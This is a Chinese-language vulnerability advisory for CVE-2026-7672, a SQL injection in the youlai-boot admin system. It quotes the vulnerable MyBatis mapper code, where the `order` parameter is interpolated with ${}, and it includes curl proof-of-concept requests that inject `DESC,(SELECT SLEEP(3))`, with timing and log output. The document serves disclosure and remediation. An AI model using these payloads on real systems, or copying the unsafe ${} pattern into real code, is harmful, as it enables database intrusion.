youlai-boot SQL注入漏洞CVE-2026-7672
youlai-boot(有来 Boot)是有来开源组织开发的企业级前后端分离权限管理系统,基于Spring Boot 3 + Vue 3 技术栈构建,开源项目。
一、基本情况
youlai-boot 是一个基于 Java 17 + Spring Boot 3 + Spring Security 6 的前后端分离权限管理系统,是国内流行的中后台管理系统模板。

youlai-boot 是现代化、高性能、易上手、可扩展企业级权限管理系统模板,用于企业 OA、CRM、ERP、电商后台、管理控制台场景。
栋科技漏洞库关注到 youlai-boot 在 2.21.1 版本中存在的安全漏洞,该漏洞现在已经被追踪为CVE-2026-7672,漏洞CVSS3.X评分6.3。
二、漏洞分析
CVE-2026-7672 漏洞是存在于优莱Boot(youlai-boot)受影响版本中漏洞,这是一个优莱Boot的用户列表排序功能存在SQL注入漏洞。
UserMapper.xml 的 getUserPage 查询在 ORDER BY 子句中直接使用 ${} 拼接 sortBy 和 order 参数,而非 MyBatis 的 #{} 参数化查询。
虽然 BaseQuery.java 中 sortBy 字段标注了 @ValidField 限制取值范围,但该注解未在 MyBatis 层强制执行,
攻击者构造恶意参数值注入任意 SQL,修复版本中通过将 ${} 替换为 #{} 参数化查询,或在应用层增加参数校验,防止 SQL 注入攻击。
1、漏洞文件:
- src/main/java/com/youlai/boot/system/controller/UserController.java
- src/main/java/com/youlai/boot/common/base/BaseQuery.java
- src/main/resources/mapper/system/UserMapper.xml
`GET /api/v1/users` 接口通过UserQuery接收用户可控的排序参数。
尽管sortBy参数受白名单校验器限制,但order参数未经过任何校验,通过MyBatis的${}字符串插值直接拼接至最终SQL语句中。
该漏洞允许已认证攻击者向ORDER BY子句注入任意SQL片段。
在本地测试环境中,已通过MySQL SLEEP()函数的时间型payload动态验证该漏洞,并在应用日志中确认了注入的SQL片段。
2、通过用户列表接口(/api/v1/users)实现SQL注入
漏洞链起始于UserController.getUserList()接口。客户端请求用户列表时,查询参数会绑定至UserQuery并传入Mapper层:
入口点(UserController.java:61-64):
@GetMapping
@Log(value = "用户列表", module = LogModuleEnum.USER)
public PageResult<UserPageVO> getUserList(
@Valid UserQuery queryParams
) {
return PageResult.success(userService.getUserPage(queryParams));
}
请求参数存储在 UserQuery 对象中,该对象从 BaseQuery 继承了 sortBy 和 order 属性。
相关查询对象(BaseQuery.java:23-28):
@Schema(description = "排序字段", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
@ValidField(allowedValues = {"create_time", "update_time"})
private String sortBy;
@Schema(description = "排序方式(正序:ASC;反序:DESC)", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
private String order;
sortBy 字段受白名单保护,但 order 参数无白名单、格式限制、枚举绑定或服务端净化处理。
3、漏洞代码(UserMapper.xml:71-79):
<choose>
<!-- 如果排序参数都传入 -->
<when test="queryParams.sortBy != null and queryParams.sortBy != '' and queryParams.order != null">
ORDER BY u.${queryParams.sortBy} ${queryParams.order}
</when>
<!-- 默认排序 -->
<otherwise>
ORDER BY u.update_time DESC, u.create_time DESC
</otherwise>
</choose>
由于 ${queryParams.order} 执行直接文本替换,攻击者可控内容未经参数化处理便拼接进 SQL 语句。
4、根本原因:
应用对 sortBy 采用安全字段校验,对 order 却采用不安全的字符串拼接方式。
使用了 MyBatis ${} 语法,而非严格的服务端枚举或固定的 ASC/DESC 映射。
因此,DESC,(SELECT SLEEP (3)) 这类恶意载荷可直接插入执行的 SQL 语句中。
三、POC概念验证
(一)前提条件
有效认证账号或令牌
可访问用户列表接口 GET /api/v1/users
(二)步骤演示
1、构造认证请求
管理员已设置登录后刷新可查看2、发送基准请求
curl -i -sS -G "http://localhost:18000/api/v1/users" \
-H "Authorization: Bearer <token>" \
--data-urlencode "pageNum=1" \
--data-urlencode "pageSize=2" \
--data-urlencode "sortBy=create_time" \
--data-urlencode "order=DESC"
观测结果:
- HTTP 状态码:200
- 返回正常的 JSON 响应及用户数据
- 最新容器日志显示预期的安全 SQL 语句:
3、利用 order 参数实施SQL注入
curl -i -sS -G "http://localhost:18000/api/v1/users" \
-H "Authorization: Bearer <token>" \
--data-urlencode "pageNum=1" \
--data-urlencode "pageSize=2" \
--data-urlencode "sortBy=create_time" \
--data-urlencode "order=DESC,(SELECT SLEEP(3))" \
-w "\nTOTAL_TIME:%{time_total}\n"
动态验证观测结果:
- HTTP 状态码:200
- 请求仍返回正常的JSON响应数据
- 总响应时间延长至约18.138060秒
- 应用日志确认注入的SQL片段已被执行:
ORDER BY u.create_time DESC, (SELECT SLEEP(3)) LIMIT ?
应用日志同样记录到执行时间显著增加:
execution_time = 18010ms
4、使用更短的时间型载荷进行验证
curl -i -sS -G "http://localhost:18000/api/v1/users" \
-H "Authorization: Bearer <token>" \
--data-urlencode "pageNum=1" \
--data-urlencode "pageSize=1" \
--data-urlencode "sortBy=create_time" \
--data-urlencode "order=DESC,(SELECT SLEEP(1))" \
-w "\nTOTAL_TIME:%{time_total}\n"
观测结果:
- HTTP 状态码:200
- 响应时间再次延长至约5.778792秒
- 最新日志输出显示注入的SQL已执行:
ORDER BY u.create_time DESC, (SELECT SLEEP(1)) LIMIT ?
这两个时间延迟型载荷证明:攻击者可控的SQL语句能够直达数据库并成功执行。
六、参考链接
管理员已设置登录后刷新可查看